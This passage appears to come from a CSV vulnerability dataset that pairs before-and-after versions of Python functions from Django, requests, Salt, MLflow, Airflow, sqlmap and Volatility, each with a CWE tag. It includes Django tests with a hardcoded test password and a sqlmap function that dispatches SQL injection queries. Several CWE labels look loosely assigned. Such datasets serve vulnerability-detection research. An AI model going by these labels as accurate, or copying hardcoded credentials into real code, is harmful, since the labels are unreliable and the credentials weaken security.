                evaluator_name_list=evaluator_name_list,
                evaluator_name_to_conf_map=evaluator_name_to_conf_map,
                custom_metrics=custom_metrics,
                extra_metrics=extra_metrics,
                custom_artifacts=custom_artifacts,
                baseline_model=baseline_model,
            )
        finally:
            if isinstance(model, _ServedPyFuncModel):
                os.kill(model.pid, signal.SIGTERM)
            if isinstance(baseline_model, _ServedPyFuncModel):
                os.kill(baseline_model.pid, signal.SIGTERM)

        if not validation_thresholds:
            return evaluate_result

        _logger.info(""Validating generated model metrics"")
        _validate(
            validation_thresholds,
            evaluate_result.metrics,
            evaluate_result.baseline_model_metrics,
        )
        _logger.info(""Model validation passed!"")

        return evaluate_result"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/regressiontests/mongodb/tests.py,0,"def test_foreignkey(self):
        e = Group.objects.create(name=""The E Street Band"")
        b = Artist.objects.create(name=""Clarence Clemons"", good=True,
            current_group=e)
        
        self.assertEqual(b.current_group, e)
        self.assertEqual(b.current_group_id, e.pk)
        
        b = Artist.objects.get(name=""Clarence Clemons"")
        self.assertEqual(b.current_group_id, e.pk)
        self.assertFalse(hasattr(b, ""_current_group_cache""))
        self.assertEqual(b.current_group, e)
        
        self.assertEqual(Artist.objects.get(current_group=e), b)
        self.assertEqual(Artist.objects.get(current_group__id=e.pk), b)",CWE-Unknown,django/django,536a5ca51466e3de0b19351dc826710a1e159cf5,"def test_foreignkey(self):
        e = Group.objects.create(name=""The E Street Band"")
        b = Artist.objects.create(name=""Clarence Clemons"", good=True,
            current_group=e)
        
        self.assertEqual(b.current_group, e)
        self.assertEqual(b.current_group_id, e.pk)
        
        b = Artist.objects.get(name=""Clarence Clemons"")
        self.assertEqual(b.current_group_id, e.pk)
        self.assertFalse(hasattr(b, ""_current_group_cache""))
        self.assertEqual(b.current_group, e)"
,UNKNOWN,UNKNOWN,tests/test_requests.py,1,"def test_POSTBIN_GET_POST_FILES(self, httpbin):

        url = httpbin('post')
        requests.post(url).raise_for_status()

        post1 = requests.post(url, data={'some': 'data'})
        assert post1.status_code == 200

        with open('requirements.txt') as f:
            post2 = requests.post(url, files={'some': f})
        assert post2.status_code == 200

        post4 = requests.post(url, data='[{""some"": ""json""}]')
        assert post4.status_code == 200

        with pytest.raises(ValueError):
            requests.post(url, files=['bad file data'])",CWE-703,psf/requests,276024b170a249c0d8b551697db552cd0905b542,"def test_POSTBIN_GET_POST_FILES(self, httpbin):

        url = httpbin('post')
        requests.post(url).raise_for_status()

        post1 = requests.post(url, data={'some': 'data'})
        assert post1.status_code == 200

        with open('Pipfile') as f:
            post2 = requests.post(url, files={'some': f})
        assert post2.status_code == 200

        post4 = requests.post(url, data='[{""some"": ""json""}]')
        assert post4.status_code == 200

        with pytest.raises(ValueError):
            requests.post(url, files=['bad file data'])"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_openvswitch_port.py,1,"def test_present():
    """"""
    Test to verify that the named port exists on bridge, eventually creates it.
    """"""
    name = ""salt""
    bridge = ""br-salt""

    ret = {""name"": name, ""result"": None, ""comment"": """", ""changes"": {}}

    mock = MagicMock(return_value=True)
    mock_l = MagicMock(return_value=[""salt""])
    mock_n = MagicMock(return_value=[])

    with patch.dict(
        openvswitch_port.__salt__,
        {
            ""openvswitch.bridge_exists"": mock,
            ""openvswitch.interface_get_type"": MagicMock(return_value='""""'),
            ""openvswitch.port_list"": mock_l,
        },
    ):
        comt = ""Port salt already exists.""
        ret.update({""comment"": comt, ""result"": True})
        assert openvswitch_port.present(name, bridge) == ret

    with patch.dict(
        openvswitch_port.__salt__,
        {
            ""openvswitch.bridge_exists"": mock,
            ""openvswitch.interface_get_type"": MagicMock(return_value='""""'),
            ""openvswitch.port_list"": mock_n,
            ""openvswitch.port_add"": mock,
        },
    ):
        comt = ""Port salt created on bridge br-salt.""
        ret.update(
            {
                ""comment"": comt,
                ""result"": True,
                ""changes"": {
                    ""salt"": {
                        ""new"": ""Created port salt on bridge br-salt."",
                        ""old"": ""No port named salt present."",
                    },
                },
            }
        )
        assert openvswitch_port.present(name, bridge) == ret
    with patch.dict(
        openvswitch_port.__salt__,
        {
            ""openvswitch.bridge_exists"": mock,
            ""openvswitch.port_list"": mock_n,
            ""openvswitch.port_add"": mock,
            ""openvswitch.interface_get_options"": mock_n,
            ""openvswitch.interface_get_type"": MagicMock(return_value=""""),
            ""openvswitch.port_create_gre"": mock,
            ""dig.check_ip"": mock,
        },
    ):
        comt = ""Port salt created on bridge br-salt.""
        ret.update(
            {
                ""result"": True,
                ""comment"": (
                    ""Created GRE tunnel interface salt with remote ip 10.0.0.1  and key""
                    "" 1 on bridge br-salt.""
                ),
                ""changes"": {
                    ""salt"": {
                        ""new"": (
                            ""Created GRE tunnel interface salt with remote ip 10.0.0.1""
                            "" and key 1 on bridge br-salt.""
                        ),
                        ""old"": (
                            ""No GRE tunnel interface salt with remote ip 10.0.0.1 and""
                            "" key 1 on bridge br-salt present.""
                        ),
                    },
                },
            }
        )
        assert (
            openvswitch_port.present(
                name, bridge, tunnel_type=""gre"", id=1, remote=""10.0.0.1""
            )
            == ret
        )",CWE-703,saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def test_present():
    """"""
    Test to verify that the named port exists on bridge, eventually creates it.
    """"""
    name = ""salt""
    bridge = ""br-salt""

    ret = {""name"": name, ""result"": None, ""comment"": """", ""changes"": {}}

    mock = MagicMock(return_value=True)
    mock_l = MagicMock(return_value=[""salt""])
    mock_n = MagicMock(return_value=[])

    with patch.dict(
        openvswitch_port.__salt__,
        {
            ""openvswitch.bridge_exists"": mock,
            ""openvswitch.interface_get_type"": MagicMock(return_value='""""'),
            ""openvswitch.port_list"": mock_l,
        },
    ):
        comt = ""Port salt already exists.""
        ret.update({""comment"": comt, ""result"": True})
        assert openvswitch_port.present(name, bridge) == ret

    with patch.dict(
        openvswitch_port.__salt__,
        {
            ""openvswitch.bridge_exists"": mock,
            ""openvswitch.interface_get_type"": MagicMock(return_value='""""'),
            ""openvswitch.port_list"": mock_n,
            ""openvswitch.port_add"": mock,
        },
    ):
        comt = ""Port salt created on bridge br-salt.""
        ret.update(
            {
                ""comment"": comt,
                ""result"": True,
                ""changes"": {
                    ""salt"": {
                        ""new"": ""Created port salt on bridge br-salt."",
                        ""old"": ""No port named salt present."",
                    },
                },
            }
        )
        assert openvswitch_port.present(name, bridge) == ret
    with patch.dict(
        openvswitch_port.__salt__,
        {
            ""openvswitch.bridge_exists"": mock,
            ""openvswitch.port_list"": mock_n,
            ""openvswitch.port_add"": mock,
            ""openvswitch.interface_get_options"": mock_n,
            ""openvswitch.interface_get_type"": MagicMock(return_value=""""),
            ""openvswitch.port_create_gre"": mock,
            ""dig.check_ip"": mock,
        },
    ):
        comt = ""Port salt created on bridge br-salt.""
        ret.update(
            {
                ""result"": True,
                ""comment"": ""Created GRE tunnel interface salt with remote ip 10.0.0.1  and key 1 on bridge br-salt."",
                ""changes"": {
                    ""salt"": {
                        ""new"": ""Created GRE tunnel interface salt with remote ip 10.0.0.1 and key 1 on bridge br-salt."",
                        ""old"": ""No GRE tunnel interface salt with remote ip 10.0.0.1 and key 1 on bridge br-salt present."",
                    },
                },
            }
        )
        assert (
            openvswitch_port.present(
                name, bridge, tunnel_type=""gre"", id=1, remote=""10.0.0.1""
            )
            == ret
        )"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/testinframod.py,0,"def _register_functions():
    """"""
    Iterate through the exposed Testinfra modules, convert them to salt
    functions, and then register them in the module namespace so that they
    can be called via salt.
    """"""
    try:
        modules_ = [_to_snake_case(module_) for module_ in modules.__all__]
    except AttributeError:
        modules_ = [module_ for module_ in modules.modules]

    for mod_name in modules_:
        mod_name = _to_snake_case(module_)
        mod_func = _copy_function(mod_name, str(mod_name))
        mod_func.__doc__ = _build_doc(mod_name)
        __all__.append(mod_name)
        globals()[mod_name] = mod_func",,saltstack/salt,04e8af637059b8b41e049f702f9b59fe91598ec0,"def _register_functions():
    """"""
    Iterate through the exposed Testinfra modules, convert them to salt
    functions, and then register them in the module namespace so that they
    can be called via salt.
    """"""
    for module_ in modules.__all__:
        mod_name = _to_snake_case(module_)
        mod_func = _copy_function(mod_name, str(mod_name))
        mod_func.__doc__ = _build_doc(module_)
        __all__.append(mod_name)
        globals()[mod_name] = mod_func"
,UNKNOWN,UNKNOWN,tests/tensorflow/test_tensorflow2_autolog.py,1,"def test_tf_keras_autolog_records_metrics_for_last_epoch(random_train_data, random_one_hot_labels):
    every_n_iter = 5
    num_training_epochs = 17
    mlflow.tensorflow.autolog(every_n_iter=every_n_iter)

    model = create_tf_keras_model()
    with mlflow.start_run() as run:
        model.fit(
            random_train_data,
            random_one_hot_labels,
            epochs=num_training_epochs,
            initial_epoch=0,
        )

    client = MlflowClient()
    run_metrics = client.get_run(run.info.run_id).data.metrics
    assert ""accuracy"" in run_metrics
    all_epoch_acc = client.get_metric_history(run.info.run_id, ""accuracy"")
    assert {metric.step for metric in all_epoch_acc} == {0, 5, 10, 15}",CWE-703,mlflow/mlflow,5a8e4104092299a76ef57e87356289fbddbf21a4,"def test_tf_keras_autolog_records_metrics_for_last_epoch(random_train_data, random_one_hot_labels):
    every_n_iter = 5
    num_training_epochs = 17
    mlflow.tensorflow.autolog(every_n_iter=every_n_iter)

    model = create_tf_keras_model()
    with mlflow.start_run() as run:
        model.fit(
            random_train_data,
            random_one_hot_labels,
            epochs=num_training_epochs,
            initial_epoch=0,
        )

    client = MlflowClient()
    run_metrics = client.get_run(run.info.run_id).data.metrics
    assert ""accuracy"" in run_metrics
    all_epoch_acc = client.get_metric_history(run.info.run_id, ""accuracy"")
    assert set([metric.step for metric in all_epoch_acc]) == set([0, 5, 10, 15])"
,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,1,"def test_shortcut_view_only_available_to_staff(self):
        """"""
        Only admin users should be able to use the admin shortcut view.
        """"""
        model_ctype = ContentType.objects.get_for_model(ModelWithStringPrimaryKey)
        obj = ModelWithStringPrimaryKey.objects.create(string_pk='foo')
        shortcut_url = ""/test_admin/admin/r/%s/%s/"" % (model_ctype.pk, obj.pk)

        # Not logged in: we should see the login page.
        response = self.client.get(shortcut_url, follow=True)
        self.assertTemplateUsed(response, 'admin/login.html')

        # Logged in? Redirect.
        self.client.login(username='super', password='secret')
        response = self.client.get(shortcut_url, follow=False)
        # Can't use self.assertRedirects() because User.get_absolute_url() is silly.
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response.url, 'http://example.com/dummy/foo/')",CWE-259,django/django,504c89e8008c557a1e83c45535b549f77a3503b2,"def test_shortcut_view_only_available_to_staff(self):
        """"""
        Only admin users should be able to use the admin shortcut view.
        """"""
        model_ctype = ContentType.objects.get_for_model(ModelWithStringPrimaryKey)
        obj = ModelWithStringPrimaryKey.objects.create(string_pk='foo')
        shortcut_url = ""/test_admin/admin/r/%s/%s/"" % (model_ctype.pk, obj.pk)

        # Not logged in: we should see the login page.
        response = self.client.get(shortcut_url, follow=True)
        self.assertTemplateUsed(response, 'admin/login.html')

        # Logged in? Redirect.
        self.client.login(username='super', password='secret')
        response = self.client.get(shortcut_url, follow=False)
        # Can't use self.assertRedirects() because User.get_absolute_url() is silly.
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response.url, 'http://example.com/dummy/foo/')"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/utils/timesince.py,0,"def timesince(d, now=None):
    """"""
    Takes two datetime objects and returns the time between d and now
    as a nicely formatted string, e.g. ""10 minutes"".  If d occurs after now,
    then ""0 minutes"" is returned.

    Units used are years, months, weeks, days, hours, and minutes.
    Seconds and microseconds are ignored.  Up to two adjacent units will be
    displayed.  For example, ""2 weeks, 3 days"" and ""1 year, 3 months"" are
    possible outputs, but ""2 weeks, 3 hours"" and ""1 year, 5 days"" are not.

    Adapted from http://blog.natbat.co.uk/archive/2003/Jun/14/time_since
    """"""
    chunks = (
      (60 * 60 * 24 * 365, lambda n: ungettext('year', 'years', n)),
      (60 * 60 * 24 * 30, lambda n: ungettext('month', 'months', n)),
      (60 * 60 * 24 * 7, lambda n : ungettext('week', 'weeks', n)),
      (60 * 60 * 24, lambda n : ungettext('day', 'days', n)),
      (60 * 60, lambda n: ungettext('hour', 'hours', n)),
      (60, lambda n: ungettext('minute', 'minutes', n))
    )
    # Convert datetime.date to datetime.datetime for comparison.
    if not isinstance(d, datetime.datetime):
        d = datetime.datetime(d.year, d.month, d.day)
    if now and not isinstance(now, datetime.datetime):
        now = datetime.datetime(now.year, now.month, now.day)

    if not now:
        if d.tzinfo:
            now = datetime.datetime.now(LocalTimezone(d))
        else:
            now = datetime.datetime.now()

    # ignore microsecond part of 'd' since we removed it from 'now'
    delta = now - (d - datetime.timedelta(0, 0, d.microsecond))
    since = delta.days * 24 * 60 * 60 + delta.seconds
    if since <= 0:
        # d is in the future compared to now, stop processing.
        return u'0 ' + ugettext('minutes')
    for i, (seconds, name) in enumerate(chunks):
        count = since // seconds
        if count != 0:
            break
    s = ugettext('%(number)d %(type)s') % {'number': count, 'type': name(count)}
    if i + 1 < len(chunks):
        # Now get the second item
        seconds2, name2 = chunks[i + 1]
        count2 = (since - (seconds * count)) // seconds2
        if count2 != 0:
            s += ugettext(', %(number)d %(type)s') % {'number': count2, 'type': name2(count2)}
    return s",CWE-Unknown,django/django,546d764a36f2a51d004452c1bd26e76b8cfe4233,"def timesince(d, now=None):
    """"""
    Takes two datetime objects and returns the time between d and now
    as a nicely formatted string, e.g. ""10 minutes"".  If d occurs after now,
    then ""0 minutes"" is returned.

    Units used are years, months, weeks, days, hours, and minutes.
    Seconds and microseconds are ignored.  Up to two adjacent units will be
    displayed.  For example, ""2 weeks, 3 days"" and ""1 year, 3 months"" are
    possible outputs, but ""2 weeks, 3 hours"" and ""1 year, 5 days"" are not.

    Adapted from http://blog.natbat.co.uk/archive/2003/Jun/14/time_since
    """"""
    chunks = (
      (60 * 60 * 24 * 365, lambda n: ungettext('year', 'years', n)),
      (60 * 60 * 24 * 30, lambda n: ungettext('month', 'months', n)),
      (60 * 60 * 24 * 7, lambda n : ungettext('week', 'weeks', n)),
      (60 * 60 * 24, lambda n : ungettext('day', 'days', n)),
      (60 * 60, lambda n: ungettext('hour', 'hours', n)),
      (60, lambda n: ungettext('minute', 'minutes', n))
    )
    # Convert datetime.date to datetime.datetime for comparison
    if d.__class__ is not datetime.datetime:
        d = datetime.datetime(d.year, d.month, d.day)

    if not now:
        if d.tzinfo:
            now = datetime.datetime.now(LocalTimezone(d))
        else:
            now = datetime.datetime.now()

    # ignore microsecond part of 'd' since we removed it from 'now'
    delta = now - (d - datetime.timedelta(0, 0, d.microsecond))
    since = delta.days * 24 * 60 * 60 + delta.seconds
    if since <= 0:
        # d is in the future compared to now, stop processing.
        return u'0 ' + ugettext('minutes')
    for i, (seconds, name) in enumerate(chunks):
        count = since // seconds
        if count != 0:
            break
    s = ugettext('%(number)d %(type)s') % {'number': count, 'type': name(count)}
    if i + 1 < len(chunks):
        # Now get the second item
        seconds2, name2 = chunks[i + 1]
        count2 = (since - (seconds * count)) // seconds2
        if count2 != 0:
            s += ugettext(', %(number)d %(type)s') % {'number': count2, 'type': name2(count2)}
    return s"
,UNKNOWN,UNKNOWN,tests/providers/ydb/operators/test_ydb.py,1,"def test_execute_query(
        self, cursor_class, table_client_class, mock_session_pool, mock_driver, mock_get_connection
    ):
        mock_get_connection.return_value = Connection(
            conn_type=""ydb"", host=""localhost"", extra={""database"": ""/my_db""}
        )

        cursor_class.return_value = FakeYDBCursor
        table_client_class.return_value = FakeTableClient

        driver = FakeDriver()
        mock_driver.return_value = driver

        session_pool = FakeSessionPool(driver)
        mock_session_pool.return_value = session_pool
        context = {""ti"": MagicMock()}
        operator = YDBExecuteQueryOperator(
            task_id=""simple_sql"", sql=""select 987"", is_ddl=False, handler=fetch_one_handler
        )

        results = operator.execute(context)
        assert results == ""fetchone: result""

        operator = YDBExecuteQueryOperator(
            task_id=""simple_sql"", sql=""select 987"", is_ddl=False, handler=fetch_all_handler
        )

        results = operator.execute(context)
        assert results == ""fetchall: result""

        hook = operator.get_db_hook()

        column_types = (
            ydb.BulkUpsertColumns()
            .add_column(""a"", ydb.OptionalType(ydb.PrimitiveType.Uint64))
            .add_column(""b"", ydb.OptionalType(ydb.PrimitiveType.Utf8))
        )

        rows = [
            {""a"": 1, ""b"": ""hello""},
            {""a"": 888, ""b"": ""world""},
        ]
        hook.bulk_upsert(""my_table"", rows=rows, column_types=column_types)
        assert len(session_pool._pool_impl._driver.table_client.bulk_upsert_args) == 1
        arg0 = session_pool._pool_impl._driver.table_client.bulk_upsert_args[0]
        assert arg0[0] == ""/my_db/my_table""
        assert len(arg0[1]) == 2",CWE-703,apache/airflow,6e223642780799e7b726eff6e307f2d270b9c689,"def test_execute_query(
        self, cursor_class, table_client_class, mock_session_pool, mock_driver, mock_get_connection
    ):
        mock_get_connection.return_value = Connection(
            conn_type=""ydb"", host=""localhost"", extra={""database"": ""my_db""}
        )

        cursor_class.return_value = FakeYDBCursor
        table_client_class.return_value = FakeTableClient

        driver = FakeDriver()
        mock_driver.return_value = driver

        session_pool = FakeSessionPool(driver)
        mock_session_pool.return_value = session_pool
        context = {""ti"": MagicMock()}
        operator = YDBExecuteQueryOperator(
            task_id=""simple_sql"", sql=""select 987"", is_ddl=False, handler=fetch_one_handler
        )

        results = operator.execute(context)
        assert results == ""fetchone: result""

        operator = YDBExecuteQueryOperator(
            task_id=""simple_sql"", sql=""select 987"", is_ddl=False, handler=fetch_all_handler
        )

        results = operator.execute(context)
        assert results == ""fetchall: result""

        hook = operator.get_db_hook()

        column_types = (
            ydb.BulkUpsertColumns()
            .add_column(""a"", ydb.OptionalType(ydb.PrimitiveType.Uint64))
            .add_column(""b"", ydb.OptionalType(ydb.PrimitiveType.Utf8))
        )

        rows = [
            {""a"": 1, ""b"": ""hello""},
            {""a"": 888, ""b"": ""world""},
        ]
        hook.bulk_upsert(""/root/my_table"", rows=rows, column_types=column_types)
        assert len(session_pool._pool_impl._driver.table_client.bulk_upsert_args) == 1
        arg0 = session_pool._pool_impl._driver.table_client.bulk_upsert_args[0]
        assert arg0[0] == ""/root/my_table""
        assert len(arg0[1]) == 2"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/inject.py,0,"def getValue(expression, blind=True, inband=True, fromUser=False, expected=None):
    """"""
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter. It can call a function to retrieve the output
    through inband SQL injection (if selected) and/or blind SQL injection
    (if selected).
    """"""

    expression = cleanQuery(expression)
    expression = expandAsteriskForColumns(expression)
    value      = None

    if inband and conf.unionUse and kb.dbms:
        value = __goInband(expression, expected)

        if not value:
            warnMsg  = ""for some reasons it was not possible to retrieve ""
            warnMsg += ""the query output through inband SQL injection ""
            warnMsg += ""technique, sqlmap is going blind""
            logger.warn(warnMsg)

            conf.paramNegative = False

    if blind and not value:
        value = __goInferenceProxy(expression, fromUser, expected)

    return value",,sqlmapproject/sqlmap,05a8c8d3bfa81053d629050811680aec8c2ac694,"def getValue(expression, blind=True, inband=True, fromUser=False, expected=None):
    """"""
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter. It can call a function to retrieve the output
    through inband SQL injection (if selected) and/or blind SQL injection
    (if selected).
    """"""

    expression = cleanQuery(expression)
    expression = expandAsteriskForColumns(expression)
    value      = None

    if inband and conf.unionUse and kb.dbms:
        value = __goInband(expression, expected)

        if not value:
            warnMsg  = ""for some reasons it was not possible to retrieve ""
            warnMsg += ""the query output through inband SQL injection ""
            warnMsg += ""technique, sqlmap is going blind""
            logger.warn(warnMsg)

            conf.paramNegative = False

    if blind and not value:
        value = __goInferenceProxy(expression, fromUser, expected)

    return value"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/malware/svcscan.py,0,"def calculate(self):
        addr_space = utils.load_as(self._config)

        # Get the version we're analyzing 
        version = (addr_space.profile.metadata.get('major', 0),
                   addr_space.profile.metadata.get('minor', 0))

        tag = obj.VolMagic(addr_space).ServiceTag.v()

        # On systems more recent than XP/2003, the serH marker doesn't
        # find *all* services, but the ones it does find have linked
        # lists to the others. We use this variable to track which
        # ones we've seen so as to not yield duplicates. 
        records = []

        for task in tasks.pslist(addr_space):
            # We only want the Service Control Manager process
            if str(task.ImageFileName).lower() != ""services.exe"":
                continue
            # Process AS must be valid 
            process_space = task.get_process_address_space()
            if process_space == None:
                continue
            # Find all instances of the record tag 
            for address in task.search_process_memory([tag]):
                if version <= (5, 2):
                    # Windows XP/2003
                    rec = obj.Object(""_SERVICE_RECORD"", offset = address -
                            addr_space.profile.get_obj_offset('_SERVICE_RECORD', 'Tag'),
                            vm = process_space
                            )
                    # Apply our sanity checks
                    if rec.is_valid():
                        yield rec
                else:
                    # Windows Vista, 2008, and 7
                    svc_hdr = obj.Object('_SERVICE_HEADER', offset = address,
                            vm = process_space)
                    # Apply our sanity checks
                    if svc_hdr.is_valid():
                        # Since we walk the s-list backwards, if we've seen 
                        # an object, then we've also seen all objects that 
                        # exist before it, thus we can break at that time. 
                        for rec in svc_hdr.ServiceRecord.traverse():
                            if rec in records:
                                break
                            records.append(rec)
                            yield rec",,volatilityfoundation/volatility,022972a33c94e62cf0a802c55f08ab94275b119d,"def calculate(self):
        addr_space = utils.load_as(self._config)

        # Get the version we're analyzing 
        version = (addr_space.profile.metadata.get('major', 0),
                   addr_space.profile.metadata.get('minor', 0))

        tag = obj.VolMagic(addr_space).ServiceTag.v()

        # On systems more recent than XP/2003, the serH marker doesn't
        # find *all* services, but the ones it does find have linked
        # lists to the others. We use this variable to track which
        # ones we've seen so as to not yield duplicates. 
        records = []

        for task in tasks.pslist(addr_space):
            # We only want the Service Control Manager process
            if str(task.ImageFileName).lower() != ""services.exe"":
                continue
            # Process AS must be valid 
            process_space = task.get_process_address_space()
            if process_space == None:
                continue
            # Find all instances of the record tag 
            for address in task.search_process_memory(tag):
                if version <= (5, 2):
                    # Windows XP/2003
                    rec = obj.Object(""_SERVICE_RECORD"", offset = address -
                            addr_space.profile.get_obj_offset('_SERVICE_RECORD', 'Tag'),
                            vm = process_space
                            )
                    # Apply our sanity checks
                    if rec.is_valid():
                        yield rec
                else:
                    # Windows Vista, 2008, and 7
                    svc_hdr = obj.Object('_SERVICE_HEADER', offset = address,
                            vm = process_space)
                    # Apply our sanity checks
                    if svc_hdr.is_valid():
                        # Since we walk the s-list backwards, if we've seen 
                        # an object, then we've also seen all objects that 
                        # exist before it, thus we can break at that time. 
                        for rec in svc_hdr.ServiceRecord.traverse():
                            if rec in records:
                                break
                            records.append(rec)
                            yield rec"
,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,1,"def test_prepopulated_fields(self):
        """"""
        Ensure that the JavaScript-automated prepopulated fields work with the
        main form and with stacked and tabular inlines.
        Refs #13068, #9264, #9983, #9784.
        """"""
        from selenium.common.exceptions import TimeoutException
        self.admin_login(username='super', password='secret', login_url='/test_admin/admin/')
        self.selenium.get('%s%s' % (self.live_server_url,
            '/test_admin/admin/admin_views/mainprepopulated/add/'))

        # Main form ----------------------------------------------------------
        self.selenium.find_element_by_css_selector('#id_pubdate').send_keys('2012-02-18')
        self.get_select_option('#id_status', 'option two').click()
        self.selenium.find_element_by_css_selector('#id_name').send_keys(' this is the mAin nÀMë and it\'s awεšome')
        slug1 = self.selenium.find_element_by_css_selector('#id_slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_slug2').get_attribute('value')
        self.assertEqual(slug1, 'main-name-and-its-awesome-2012-02-18')
        self.assertEqual(slug2, 'option-two-main-name-and-its-awesome')

        # Stacked inlines ----------------------------------------------------
        # Initial inline
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-pubdate').send_keys('2011-12-17')
        self.get_select_option('#id_relatedprepopulated_set-0-status', 'option one').click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-name').send_keys(' here is a sŤāÇkeð   inline !  ')
        slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-slug2').get_attribute('value')
        self.assertEqual(slug1, 'here-stacked-inline-2011-12-17')
        self.assertEqual(slug2, 'option-one-here-stacked-inline')

        # Add an inline
        self.selenium.find_elements_by_link_text('Add another Related prepopulated')[0].click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-pubdate').send_keys('1999-01-25')
        self.get_select_option('#id_relatedprepopulated_set-1-status', 'option two').click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-name').send_keys(' now you haVe anöther   sŤāÇkeð  inline with a very ... loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooog text... ')
        slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-slug2').get_attribute('value')
        self.assertEqual(slug1, 'now-you-have-another-stacked-inline-very-loooooooo')  # 50 characters maximum for slug1 field
        self.assertEqual(slug2, 'option-two-now-you-have-another-stacked-inline-very-looooooo')  # 60 characters maximum for slug2 field

        # Tabular inlines ----------------------------------------------------
        # Initial inline
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-pubdate').send_keys('1234-12-07')
        self.get_select_option('#id_relatedprepopulated_set-2-0-status', 'option two').click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-name').send_keys('And now, with a tÃbűlaŘ inline !!!')
        slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-slug2').get_attribute('value')
        self.assertEqual(slug1, 'and-now-tabular-inline-1234-12-07')
        self.assertEqual(slug2, 'option-two-and-now-tabular-inline')

        # Add an inline
        self.selenium.find_elements_by_link_text('Add another Related prepopulated')[1].click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-pubdate').send_keys('1981-08-22')
        self.get_select_option('#id_relatedprepopulated_set-2-1-status', 'option one').click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-name').send_keys('a tÃbűlaŘ inline with ignored ;""&*^\%$#@-/`~ characters')
        slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-slug2').get_attribute('value')
        self.assertEqual(slug1, 'tabular-inline-ignored-characters-1981-08-22')
        self.assertEqual(slug2, 'option-one-tabular-inline-ignored-characters')

        # Save and check that everything is properly stored in the database
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.wait_page_loaded()
        self.assertEqual(MainPrepopulated.objects.all().count(), 1)
        MainPrepopulated.objects.get(
            name=' this is the mAin nÀMë and it\'s awεšome',
            pubdate='2012-02-18',
            status='option two',
            slug1='main-name-and-its-awesome-2012-02-18',
            slug2='option-two-main-name-and-its-awesome',
        )
        self.assertEqual(RelatedPrepopulated.objects.all().count(), 4)
        RelatedPrepopulated.objects.get(
            name=' here is a sŤāÇkeð   inline !  ',
            pubdate='2011-12-17',
            status='option one',
            slug1='here-stacked-inline-2011-12-17',
            slug2='option-one-here-stacked-inline',
        )
        RelatedPrepopulated.objects.get(
            name=' now you haVe anöther   sŤāÇkeð  inline with a very ... loooooooooooooooooo',  # 75 characters in name field
            pubdate='1999-01-25',
            status='option two',
            slug1='now-you-have-another-stacked-inline-very-loooooooo',
            slug2='option-two-now-you-have-another-stacked-inline-very-looooooo',
        )
        RelatedPrepopulated.objects.get(
            name='And now, with a tÃbűlaŘ inline !!!',
            pubdate='1234-12-07',
            status='option two',
            slug1='and-now-tabular-inline-1234-12-07',
            slug2='option-two-and-now-tabular-inline',
        )
        RelatedPrepopulated.objects.get(
            name='a tÃbűlaŘ inline with ignored ;""&*^\%$#@-/`~ characters',
            pubdate='1981-08-22',
            status='option one',
            slug1='tabular-inline-ignored-characters-1981-08-22',
            slug2='option-one-tabular-inline-ignored-characters',
        )",CWE-259,django/django,43569647ab234cd1d2f4d41399b97b4b793d573a,"def test_prepopulated_fields(self):
        """"""
        Ensure that the JavaScript-automated prepopulated fields work with the
        main form and with stacked and tabular inlines.
        Refs #13068, #9264, #9983, #9784.
        """"""
        from selenium.common.exceptions import TimeoutException
        self.admin_login(username='super', password='secret', login_url='/test_admin/admin/')
        self.selenium.get('%s%s' % (self.live_server_url,
            '/test_admin/admin/admin_views/mainprepopulated/add/'))

        # Main form ----------------------------------------------------------
        self.selenium.find_element_by_css_selector('#id_pubdate').send_keys('2012-02-18')
        self.get_select_option('#id_status', 'option two').click()
        self.selenium.find_element_by_css_selector('#id_name').send_keys(' this is the mAin nÀMë and it\'s awεšome')
        slug1 = self.selenium.find_element_by_css_selector('#id_slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_slug2').get_attribute('value')
        self.assertEqual(slug1, 'main-name-and-its-awesome-2012-02-18')
        self.assertEqual(slug2, 'option-two-main-name-and-its-awesome')

        # Stacked inlines ----------------------------------------------------
        # Initial inline
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-pubdate').send_keys('2011-12-17')
        self.get_select_option('#id_relatedprepopulated_set-0-status', 'option one').click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-name').send_keys(' here is a sŤāÇkeð   inline !  ')
        slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-slug1').get_attribute('value')
